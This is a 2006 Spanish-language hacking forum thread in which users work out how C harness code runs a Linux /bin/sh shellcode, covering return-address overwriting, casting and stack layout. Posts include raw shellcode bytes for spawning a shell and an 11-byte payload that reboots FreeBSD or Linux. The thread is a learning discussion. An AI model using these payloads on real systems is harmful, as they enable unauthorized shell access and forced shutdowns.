elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:37  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Ejecutando shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Ejecutando shellcode  (Leído 4,620 veces)
hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Ejecutando shellcode
« en: 9 Diciembre 2006, 21:22 »

Código:
char shellcode[] =   
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
        "\x4b\x4b\x4b\x4b";               

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}


El shellcode almacenado en char shellcode ejecuta una shell. Este codigo es para linux.
Mis dudas son:
Cual es la funcion de
Código:
ret = (int *)&ret + 2;
y porque se le suma 2.
Porque es necesario convertir en int a shellcode
Y ademas porque se ejecuta el shellcode si no se lo esta llamando desde ningun lado, solamente se le esta asignando valor a la direccion de memoria que apunta ret.

En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #1 en: 9 Diciembre 2006, 22:22 »

Hola

se le suma 2 para llegar a la direccion de retorno...
despues en esa direccion de memoria se guarda la direccion de shellcode.
cuando main() termina de ejecutarse el puntador se manda a shellcode.

es un poco complicado de entenderlo asi xD, lee el taller de Stack Overflow de rojodos para que entiendas mejor de que estoy hablando ;)

Saludos!!
En línea

hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #2 en: 10 Diciembre 2006, 13:42 »

Muchas gracias ahora entiendo mejor pero me quedo la siguiente duda.

Porque se suma 2 si las direcciones en la pila van de a 4 bytes?
La pila deberia quedar algo asi.

0x100 ---> ret (variable puntero)
0x104 ---> EBP
0x108 ---> RET

Entonces no habria que sumarle 8?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #3 en: 10 Diciembre 2006, 21:57 »

checalo tu mismo ;)
Código:
#include <stdio.h>
int main(){
   printf("%d",sizeof(int)*2);
return 0;
}

Saludos!!
En línea

hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #4 en: 11 Diciembre 2006, 00:26 »

Gracias de nuevo.
Mi ultima pregunta es porque es necesario convertir el array con los opcodes en un entero ?
Código:
(*ret) = (int)shellcode;
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #5 en: 11 Diciembre 2006, 00:30 »

no estas conviertiendo el array a un entero, estas asignando a la posicion de memoria apuntada por ret (EIP), la direccion de "shellcode", para que cuando main termine de ejecutarse, EIP se valla a la direccion de shellcode.

Saludos!!
En línea

hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #6 en: 11 Diciembre 2006, 01:08 »

Entonces main(shellcode) devuelve la direccion de memoria de shellcode? No deberia ser &shellcode?
« Última modificación: 11 Diciembre 2006, 01:13 por hentei » En línea
duhastengel

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #7 en: 11 Diciembre 2006, 05:46 »

vamo a dejarlo claro....
           shellcode es un array de char....por lo tanto es lo mismo poner shellcode que &shellcode...ambos apuntan a la posicion de memoria del primer char que conforma el array ...-
           esta direccion se pasa por castin mediante (int) para que se pueda asignar a la posicion a la que apunta ret....
           teniendo en cuenta que a ret(puntero) se le habia asignado la direccion de retorno...-
           lo mejor es verlo en asm....y hacer un esqume del stack a lo largo de la ejecucion...de otro modo no te va quedar muy claro...y esto es muy importante ...
           como digo....el que programa en c y no sabe asm... nunca llega entender como funciona realmente todo esto...y hacen la mayoria los programas con vulnerabilidades.... ;D
         ha me olvidaba......lee "Smashing the stack for fun and profit de Aleph One...que te va a aclarar todo..
 
       saludo pa los vagos de mi edad (16) que se metieron en esto...!-- :)
           
         ::::.suerte.::





En línea
hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #8 en: 11 Diciembre 2006, 15:48 »

Mi problema era que no entendia el codigo en c.
No entendia la parte de int(shellcode) porque no sabia que era casting.
Pero despues buscando casting en google entendi que lo que hace es convertir el puntero de char a int.
La parte de asm la entiendo bastante bien.. creo yo  :P.
Muchas gracias a todos los que respondieron.
« Última modificación: 11 Diciembre 2006, 16:16 por hentei » En línea
hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #9 en: 12 Diciembre 2006, 18:55 »

Probando con el mismo codigo pero con algunos cambios.
Código:
int main()
{

  int *ret;
  ret = (int* )&ret  ;
  printf ("******  ret = (int* )&ret  ******\n");
  printf ("La direccion a la que apunta ret es : 0x%x\n",ret);
  printf ("La direccion de shellcode es : 0x%x\n",&shellcode);
  *ret = (int)shellcode;
  printf ("El valor en la direccion de ret es: 0x%x\n\n",*ret);
 
  printf ("******  ret = (int* )&ret +2  ******\n");
  ret = (int* )&ret + 2 ;
  printf ("La direccion a la que apunta ret es : 0x%x\n",ret);
  printf ("La direccion de shellcode es : 0x%x\n",&shellcode);
  *ret = (int)shellcode;
  printf ("El valor en la direccion de ret es: 0x%x\n",*ret);
 
}

Este es el resultado que obtengo:

******  ret = (int* )&ret  ******
La direccion a la que apunta ret es : 0x22ff74
La direccion de shellcode es : 0x402000
El valor en la direccion de ret es: 0x315e1aeb

******  ret = (int* )&ret +2  ******
La direccion a la que apunta ret es : 0x22ff7c
La direccion de shellcode es : 0x402000
El valor en la direccion de ret es: 0x402000

Mi duda es porque el valor en la dirrecion de ret es diferente dependiendo la dirrecion a la que apunta ret si en ambos casos utilizo
Código:
*ret = (int)shellcode
.

Para que quede claro entiendo que el
Código:
ret = (int* )&ret +2
es para la dirrecion de retorno y que usando
Código:
ret = (int* )&ret
no se obtinene nada pero probe el programa sin el +2 y vi que al asignarle a ret la dirrecion de shellcode el resultado no era la dirrecion de shellcode y me parecio extraño.
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #10 en: 12 Diciembre 2006, 20:39 »

Otra Forma de ejecutar el Shellcode es usar la Aritmetica de punteros es ejecutar un puntero..

Código:
char shellcode[] =            "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
"\x4b\x4b\x4b\x4b";

int main(){
        char (*run)(void) = (void*) shellcode;
        printf("shellcode %d bytes\n",strlen(shellcode));
        run();
}

Tengo una Shellcode que Reinicia un FreeBSD y un linux de solo 11 bytes...

Código
/*
void shellcode(void) {
__asm__(" \n\
xorl %eax ,%eax \n\
pushl %eax \n\
movl %esp ,%ebx \n\
pushl %ebx \n\
movb $55 ,%al \n\
pushl %eax \n\
int $0x80 \n\
");
}
reboot en 11 Bytes  Sin exit(0);
*/
char shellcode[] =
"\x31\xc0\x50\x89\xe3\x53\xb0\x37\x50\xcd\x80";
int main(){
       char (*run)(void) = (void*) shellcode;
       printf("shellcode %d bytes\n",strlen(shellcode));
       run();
}
 
 
En línea

Bien Super Divertido
@wifigdlmx
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #11 en: 12 Diciembre 2006, 20:54 »

:P esto se discutio en milw0rm.. muchos shellcodes no serviran si se hace casting de funcion, como lo que haces Anon.
lo mejor es usar o el de aleph one, o en ASM hacer un salto a ESP despues de apuntar ESP a shellcode..

Saludos!!
En línea

hentei

Desconectado Desconectado

Mensajes: 63


Ver Perfil
Re: Ejecutando shellcode
« Respuesta #12 en: 12 Diciembre 2006, 21:10 »

Eso no responde mi duda de porque no se asigna la misma direccion de memoria si en ambos casos shellcode esta en la misma direccion, de todos modos gracias por la otra forma de ejecutar el shellcode.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #13 en: 12 Diciembre 2006, 22:12 »

no entiendo tu duda..

en el primer caso:

ret = (int* )&ret  ;

es decir, ret, apunta a su propia direccion de memoria.

en el segundo caso:

ret = (int* )&ret + 2;

es decir, ret, apunta a su direccion de memoria + 2.

entonces.. cuando en el primer caso haces:

*ret = (int)shellcode;

estas poniendo en la direccion de ret, la direccion de shellcode

en el segundo caso, estas poniendo en la direccion de ret+2, la direccion del shellcode.

Código:
- ret1 0x00421a30 _shellcode
828250859
- ret2 0x0012ff80
4332080

entonces, como esperas que en el segundo caso, de lo mismo, si uno esta apuntando a su propia direccion, y el otro a otra.

mira, te recomiendo este tutorial de apuntadores C:
http://weblogs.udp.cl/pmoran/archivos/(906)pdf_sp.pd
o este otro:
http://garota.fismat.umich.mx/mn1/manual/node9.html

Saludos!!
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Ejecutando shellcode
« Respuesta #14 en: 12 Diciembre 2006, 22:27 »

Que raro, ami si me funciona, eso es solo para probarla.... sin embargo a al hora de ejecutarla en un exploit tengo que hacer que el micro la empiese a ejecutar ya sea con el JMP Presiso o con los NOP

Bueno como sea, solo lo he probado bajo FreeBSD. y funciona Bien. y la unica diferencia que he notado entre las Shellcodes de Linux y las de los BSD's es que Linux utiliza los registros del micro y BSD usa la pila.
En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:.
ASM
Garfield07 13 1,916 Último mensaje 3 Enero 2011, 20:31
por Garfield07
Ayuda con parametros ejecutando una shell
Programación Visual Basic
gabodawn 2 443 Último mensaje 24 Marzo 2012, 04:37
por gabodawn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines